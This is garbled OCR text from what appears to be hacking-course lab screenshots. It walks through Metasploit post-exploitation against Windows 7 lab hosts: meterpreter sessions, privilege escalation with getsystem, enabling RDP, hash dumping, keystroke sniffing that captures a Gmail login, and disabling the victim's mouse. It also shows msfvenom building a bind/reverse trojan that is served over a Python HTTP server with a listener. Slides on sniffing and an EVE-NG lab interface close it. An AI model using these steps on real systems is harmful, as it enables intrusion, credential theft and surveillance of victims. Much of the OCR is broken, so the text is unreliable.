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)dssLac

Information

victim8hu8 @ victim8

u7-PChuy @ U7 -pPC 2.16.100.5:8888 -= 172.16

7 @ U7-PC 16, 5 ] -= 172.16
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Active sessions

Id Type Information Connection

3 meterpreter x86/win32Z wvictim8\u8 @ victim8 172.16.100.5:8888 -= 172.16.1
Ge.7:51084 (172.16.1080.7)

4 meterpreter x86/win32 u7-PChU7 @ U7-PC 172.16.100.5:8888 -= 172.16.1
[ A A01 60 -"I_."":- 1 16 .m

5 meterpreter xBBleHEZ u7-PChuv @ U7-PC 172.16.100.5:25860 -= 172.16.]
an_f-49168 (172.16.100.6)

msf exploit( ] = sessions -1 5
*] Starting interaction witn S...

meterpreter = SySTﬁfO
Computer U7 PC

as : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOWG4)

System Language : en_US

Meterpreter : xB6/win3z

meterpreter = getsystem
..got system (via technique 1).
: — |

meterpreter = getprivs

Enabled Process Privileges
SelebugPrivilege
SelncreasefuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeloadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SelncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeChangeMotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
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Enable RDRP only.
Forward RDP Connection.

yreter Script by Dar

g Ted
mULTl cons
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\ﬂ, Getting Started

Calculator

Documents

|
1

Sticky Notes

% Snipping Tool

Pictures
Music

Computer
M XPS Viewer Open
C Manage

@1 Windows Fax and Scan 5
: Map network drive...

% Remote Desktop Connection Disconnect network drive...

Show on Desktop
@ Magnifier
: Rename

»  AllPrograms

I Search programs and files Pl N Shut down m

@@vh@l » Control Panel » Systern and Security » System - | +4 | | Search Control Panel L |

Control Panel Home . .. .
View basic information about your computer

B Device Manager

Windows edition

Windows 7 Professional

g Systermn protection

Copyright © 2009 Microsoft Corporation. All rights reserved.

@ Advanced system settings Service Pack 1
Get more features with a new edition of Windows 7

m
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-

Systern Properties @
Computer Name | Hardware | Advanced | System Protection | Remote
Femote Assistance

| Allow Remote Assistance connections to this computer

WWhat happens when | enable Bemote Assistance?

Click an option, and then specify who can connect, if needed.

Advanced. ..

@ Dont allow connections to this computer

Allow connections from computers running any version of
Remote Desktop (ess secure)

Allow connections only from computers running Remote
Desktop with Networe Level Authentication {more secure)

Help me choose | Select Users... |

QK ]| Cancel | App

erpreter Script by Da erator

to auto, changing it to auto

¥
mand -rc / f.msf




Systern Properties

Computer Mame | Hardware | Advanced | System Protection | Remate

Remaote Assistance

| Allow Remote Assistance connections to this computer

What happens when | enable Bemote Assistance?

Click an option, and then specify who can connect, if needed.

Advanced...

Dont allow connections to this computer

@ Allow connections from computers running any version of
Femote Desktop (less secure)

Allow connections onhy from computers unning Remote
Desktop with Metwors Level Authentication (mare securs)

Heln me choose | Select Users... |

QK ]l Cancel | Apph
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=

root@kali: ~

File Edit View Search Terminal Help

:~# rdesktop -u u7 -p 123 172.16.100.6[]
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File Edit Wiew Search Terminal Help

rdesktop - 172.16.100.6

payload

ather/hashdump

NT AUTHORITY
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an_start
stroke sniffer...

‘q | G https://accounts.google.com,/Servis D@2 X | S Gmail

One account. All of Google.

Sign in to continue to Gmail

Email

fariborz fallahzadeh@gmail com

Password

.coml =Tab= 123 |<Return=
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ication. ..
m...

neterpreter = uictl
: uictl [enable/disable] [keyboard/mouse]
reter = uictl disable mouse

Disabling mouse...
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root@kali: ~

File Edit Wiew_Search Terminal Help
3/msfvenom [options] <var=val=

Payload to us

List a mo

d
--format =format= OQutput format (use --h

The e - to use

The archi ure to use
The

The

utable file to use as

Listen for a connection
Spawn a shell on an esta
Simply e /bi

and shell
srpreter/r
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neterpreter/bind_tcp -a x

ClTled, OUTpUTTLing raw payload

t
t
t
t
t
t
t
t
t

~# cd troj

i~/trojan#

~# cp bindl

:~# cd trojan/

:~/trojan# 1s
bindl
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root@kali: ~ -

erminal Help

:~# msfconsolel

:~# cp bindl.exe trojan/
~# cd trojan/
:~/trojan# 1s

bindl.exe
:~/trojan# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

root@kali: ~

File Edit View 5Search Terminal Help

Smetasploit

B15013181 api:l1.0.0]7]

]
]
]
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ws/meterpreter/bind tep

5.100.6

= Directory listing for / ‘

‘q nf http://172.16.100.5:8000 _—.i P-acX |

File Ed Yiew Favorites  Tools

Directory listing for /

+ bindl.exe J

-= 172.16.100.6:4444) at 2
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BN C\Windows\systern32icmd.exe EI@

Microsoft Windows [Uersion 6.1.76611
Copuright (c> 2809 Microsoft Corporation. A1l rights reserved.

C=sUzerssuinetstat

Active Connections

Prote Local Address Foreign Address State
TGP 172.16.108 .6 -4444 172.16.1088.5:41 379 ESTABLISHED

I].[.;l" L& LD LEE .0 ="EFLLT A . I . 3. IO =TIL LY LITIC_WHI11

CosUserssa?r

root@kali: ~ftrojan

File Edit View Search Terminal Help
winc --platfoi

UI) Intel 80386, for MS Win
jan/

mpleHTTPServer

oit/multi/handl
) ot PA

Started r se handler on 172
Starting the payload handler...
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v@vlﬁ\' v Control Panel » System and Security » Windows Firewall - |+f| | Se Control Panel jel |
)
Control Panel Home . . . -
rHelp protect your computer with Windows Firewall h
Allow a program or feature Windows Firewall can help prevent hackers or malicious software from gaining access to your computer
through Windows Firewall through the Internet or a network.
% Change notification settings How does a firewall help protect my computer?
® Turn Windows Firewall on or What are network locations?
off
&) Restore defaults . a Home or work (private) networks Not Connected (v
Advanced settings .
v 2 . & Public networks Connected (A
Troubleshoot my netwaork -
Metwaorks in public places such as airports or coffee shops
Windows Firewall state: On
Inceming connections: Block all connections te programs that are not on the
list of allowed programs
q Active public networks: Metwork y
Motification state: Motify me when Windows Firewall blocks a new
N ani .
| & hitp://172.16.100.5:5( P~RBaX || 2 Directory listing for / | |
File  Edi " - » lemlp——’

Directory listing for /

s bindl exe

Ereﬁ'erse pavload exe :]
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root@kali: ~

 tep LHOST=172.

o LHIOOSLING MsT D oFoauLe D oFLal iarm. TWinaows 1 rom The
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Module 07 Sniffing

Sniffing

Module 07

Unmask the Invisible Hacker.
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Network Sniffing and Threats

- Sniffing is a process of monitoring and 4 Many enterprises’ switch ports are
capturing all data packets passing through a open
given network using sniffing tools 4 Anyone in the same physical location
o Itis a form of wiretap applied to can plug into the netwark using an

computer networks Ethernet cable

Copyright © by I6-Gemncil. All Rights Reserved. Reproduction is Strictly Prohibited.
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— [E=N B 5
= I|ﬁ http://172.16.100.8/1aborataries.php D~ Eb X || ﬁIOU Web Interface - Labora... ‘ ‘ ‘ﬂ:l} ﬂ? E}
—

Edit avornes 100 Help

File

Laboratories CELED L Downloads

Listing content of: /

[-F)
——
am =

CCIE v4 TS ! E
Cisco360 RS v5 cfg LABs ﬂ E
Cisco360 RS v TS a E
| INE RSv5 cfg LAB ! E
My LABS ﬂ E

MNarbik foundation RSv5

l . test

NETMAP*: @ 1:0/0 01:0/0

-
Devices ®
Apply an Initial Config Pack to all device: ) <empty= E|
D Name @ 08 @ RAM  NVRAM Eth  Ser éppalwe Watchdog picy e o
@ ) @ e g a@
1 Ri L3 15.2.4.1M [*] 1024 1024 1 2 [ Router [*]
901 LAN <empty (=] eth1 [ [ [Cloud [=]
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Description

Diagram

@Javangrpchannel

4 Y
R1
=l
eth1
J-_t’_ "\.\-
LAN
b w

Devices 7]

Description

Diagram

®

test
test
L2 N
Name 108 RAM/NVRAM Interfaces Keepalive Watchdog Actions
OR» 227 PR
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